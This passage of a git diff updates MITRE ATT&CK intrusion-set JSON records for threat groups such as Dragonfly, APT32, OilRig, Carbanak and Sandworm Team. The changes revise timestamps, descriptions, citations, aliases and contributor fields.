-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Patchwork",
             "description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1.json b/enterprise-attack/intrusion-set/intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1.json
index 4b47ff2a9c..74936ca031 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--08d6714e-b339-49c7-a944-e023f947357a",
+    "id": "bundle--7af34e6d-cdbf-472f-ad10-6cb2f013b679",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:05.217Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dragonfly",
-            "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)",
+            "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. The group appeared to decrease activity following public exposure in 2014, and re-emerged in late 2015 through 2017. (Citation: Symantec Dragonfly) (Citation: Symantec Dragonfly) Sept 2017",
             "aliases": [
                 "Dragonfly",
                 "Energetic Bear"
diff --git a/enterprise-attack/intrusion-set/intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f.json b/enterprise-attack/intrusion-set/intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f.json
index c981b5fe78..1c8d787a37 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0348cf9c-910c-4ab3-89be-5bf72575cb7f",
+    "id": "bundle--af6969a9-e926-4265-b321-4067b561833a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:09.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "menuPass",
             "description": "menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8.json b/enterprise-attack/intrusion-set/intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8.json
index aea8406ed2..da5423edc0 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2629d140-fb25-45b1-b7d3-114e99dc9d04",
+    "id": "bundle--c84c484f-6ed2-4d1f-919b-2acceb45d044",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:51.643Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Night Dragon",
             "description": "Night Dragon is a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e.json b/enterprise-attack/intrusion-set/intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e.json
index bff83e1122..03845f222c 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b16fea85-8b21-4e04-88d4-8a7e53cae3c1",
+    "id": "bundle--8256568a-546e-41e5-a3f4-20a58bcf08e8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT32",
-            "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists. The group's operations are aligned with Vietnamese state interests. (Citation: FireEye APT32 May 2017)",
+            "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists, and has extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)",
             "aliases": [
                 "APT32",
                 "OceanLotus Group"
@@ -25,6 +25,11 @@
                     "source_name": "FireEye APT32 May 2017",
                     "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                     "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
+                },
+                {
+                    "source_name": "Volexity OceanLotus Nov 2017",
+                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
+                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656.json b/enterprise-attack/intrusion-set/intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656.json
index 559ef7ad03..f4c10cced4 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f71c5345-087a-49ef-afb0-3294822e240f",
+    "id": "bundle--35fbfc68-50d6-447c-8852-3798bf9a86d5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:07.541Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Strider",
             "description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)",
             "aliases": [
@@ -29,7 +29,7 @@
                 {
                     "source_name": "Kaspersky ProjectSauron Blog",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.",
-                    "url": "https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/"
+                    "url": "https://securelist.com/faq-the-projectsauron-apt/75533/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050.json b/enterprise-attack/intrusion-set/intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050.json
index eb5d4382c0..e0ce23bf33 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5a761fa5-cee2-4fd5-bc21-b83177ef7abc",
+    "id": "bundle--dbd6a4e7-63bb-44e8-a341-30e59bb31ed8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:54.232Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Naikon",
             "description": "Naikon is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People\u2019s Liberation Army\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)",
             "aliases": [
@@ -33,7 +33,7 @@
                 {
                     "source_name": "Baumgartner Golovkin Naikon 2015",
                     "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.",
-                    "url": "https://securelist.com/analysis/publications/69953/the-naikon-apt/"
+                    "url": "https://securelist.com/the-naikon-apt/69953/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb.json b/enterprise-attack/intrusion-set/intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb.json
index e1f30f1ee5..e6899f9f22 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb0a5fa9-5522-494c-b0db-f1f25ea917bb",
+    "id": "bundle--a9a9db6e-6f8d-4b2b-b7c3-a0a8d9793bef",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:06.015Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FIN6",
             "description": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors. (Citation: FireEye FIN6 April 2016)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf.json b/enterprise-attack/intrusion-set/intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf.json
index ba646bbab9..99e351cf07 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--565f683d-4128-41ee-a158-ad51a1ef7ac4",
+    "id": "bundle--87959090-fc23-4985-ba65-22301138e2a8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:09.849Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Gamaredon Group",
             "description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f.json b/enterprise-attack/intrusion-set/intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f.json
index 2b65a2ccc5..82acc99b94 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--29d9da38-1696-4a7d-816b-fbf7a93a1c8b",
+    "id": "bundle--894976ae-391a-4cdd-8a3b-62e4536ab195",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:46.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Moafee",
-            "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. . (Citation: Haq 2014)",
+            "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. (Citation: Haq 2014)",
             "aliases": [
                 "Moafee"
             ],
diff --git a/enterprise-attack/intrusion-set/intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc.json b/enterprise-attack/intrusion-set/intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc.json
index 0a75850c72..9a4c79b1bf 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5588421d-b12e-4cf3-bf17-89c2e1c530f4",
+    "id": "bundle--c5c2a0e8-bfc4-4846-a068-f7040587a8d8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:09.460Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FIN7",
             "description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192.json b/enterprise-attack/intrusion-set/intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192.json
index d2e35532dc..e5c789679f 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6530de4c-d2e2-4395-bdd6-ab30cd74f1e3",
+    "id": "bundle--581ac0bc-edb7-4bda-a9f8-9cabfdb306f8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:04.588Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sandworm Team",
-            "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia. (Citation: iSIGHT Sandworm 2014) This group is also known as Quedagh. (Citation: F-Secure BlackEnergy 2014)",
+            "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia. (Citation: iSIGHT Sandworm 2014)",
             "aliases": [
                 "Sandworm Team",
                 "Quedagh"
@@ -23,13 +23,8 @@
                 },
                 {
                     "source_name": "iSIGHT Sandworm 2014",
-                    "description": "Ward, S.. (2014, October 14). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved April 8, 2016.",
-                    "url": "http://www.isightpartners.com/2014/10/cve-2014-4114/"
-                },
-                {
-                    "source_name": "F-Secure BlackEnergy 2014",
-                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
-                    "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf"
+                    "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648.json b/enterprise-attack/intrusion-set/intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648.json
index a0f9bce745..fd344dce5f 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b52286d1-7f17-4ff0-ad20-a3db16ebe531",
+    "id": "bundle--8a28b60a-01c6-442a-aed3-6101eb6be32e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:57.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT18",
             "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d.json b/enterprise-attack/intrusion-set/intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d.json
index 0cae1dc6c3..f86807b250 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aedd73ba-545e-4ec5-9c39-40af5cde0165",
+    "id": "bundle--56efd751-d34d-449b-a133-3ec05bd5c762",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OilRig",
-            "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern victims since at least 2015. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016)",
+            "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2015. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook OilRig Dec 2017) Reporting on OilRig may loosely overlap with APT34, but may not wholly align due to companies tracking groups in different ways. (Citation: FireEye APT34 Dec 2017)\n\nContributors: Robert Falcone, Bryan Lee",
             "aliases": [
                 "OilRig"
             ],
@@ -39,10 +39,24 @@
                     "source_name": "Palo Alto OilRig Oct 2016",
                     "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                     "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                },
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                },
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Robert Falcone",
+                "Bryan Lee"
             ]
         }
     ]
diff --git a/enterprise-attack/intrusion-set/intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c.json b/enterprise-attack/intrusion-set/intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c.json
index a35e117c54..8fe65e99a3 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0e96eba0-a7e0-417e-ab6f-342e9ad05fa0",
+    "id": "bundle--fdb71892-0463-4e6a-9fb9-eec87e7aa669",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,12 +8,13 @@
             "id": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:49.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Carbanak",
-            "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). (Citation: Kaspersky Carbanak)",
+            "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). It is sometimes referred to as FIN7, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)\n\nContributors: Anastasios Pingios",
             "aliases": [
                 "Carbanak",
-                "Anunak"
+                "Anunak",
+                "Carbon Spider"
             ],
             "external_references": [
                 {
@@ -25,10 +26,18 @@
                     "source_name": "Kaspersky Carbanak",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 3, 2015.",
                     "url": "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf"
+                },
+                {
+                    "source_name": "FireEye FIN7 April 2017",
+                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Anastasios Pingios"
             ]
         }
     ]
diff --git a/enterprise-attack/intrusion-set/intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46.json b/enterprise-attack/intrusion-set/intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46.json
index 4ee4e3db06..1a494c1685 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c338f3dd-cce3-4de8-8ab9-37450097c80c",
+    "id": "bundle--d5deb1d0-7f86-4797-8058-c394646e3291",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:52.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Taidoor",
             "description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d.json b/enterprise-attack/intrusion-set/intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d.json
index 649c1c472b..9e419debd8 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb6fa4cd-d073-4476-9459-5c8dfbc152a5",
+    "id": "bundle--376c1852-f077-4f5b-8115-8f72152185fe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:06.777Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Suckfly",
             "description": "Suckfly is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45.json b/enterprise-attack/intrusion-set/intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45.json
index e3be4e586e..fe7f3e0c9c 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--29423571-cdbe-497e-a669-0d6b373533d7",
+    "id": "bundle--e0392087-0198-4c6e-b51a-3ebc922e3947",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:56.785Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Putter Panda",
             "description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA\u2019s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c.json b/enterprise-attack/intrusion-set/intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c.json
index 0df7c4f2fc..afeec42b5a 100644
